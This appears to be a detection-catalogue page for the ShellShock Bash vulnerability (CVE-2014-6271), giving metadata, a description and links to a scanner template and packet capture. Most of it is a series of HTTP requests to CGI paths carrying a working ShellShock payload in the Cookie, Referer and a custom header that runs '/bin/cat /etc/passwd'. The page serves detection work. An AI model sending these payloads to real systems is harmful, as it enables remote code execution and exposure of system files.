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CVE-2014-6271: ShellShock - Remote Code Execution

TitleShellShock - Remote Code Execution
Authorpentest_swissky,0xelkomy
SeverityCritical
ImpactRemote code execution can lead to unauthorized access, data theft, and system compromise.
RemediationApply the necessary patches and updates provided by the vendor to fix the vulnerability.
CVSS Score9.8
EPSS Score0.9422
CVE IDCVE-2014-6271
CWE IDCWE-78
Tags cve2014 cve rce shellshock kev gnu vkev vuln

🔍 Vulnerability Description

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/status HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /debug.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/test-cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/stats HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /test.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/test.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/status/status.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18
Accept: */*
Accept-Language: en
Cookie: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Shellshock: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
Accept-Encoding: gzip
Connection: close

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-6271.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-6271.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A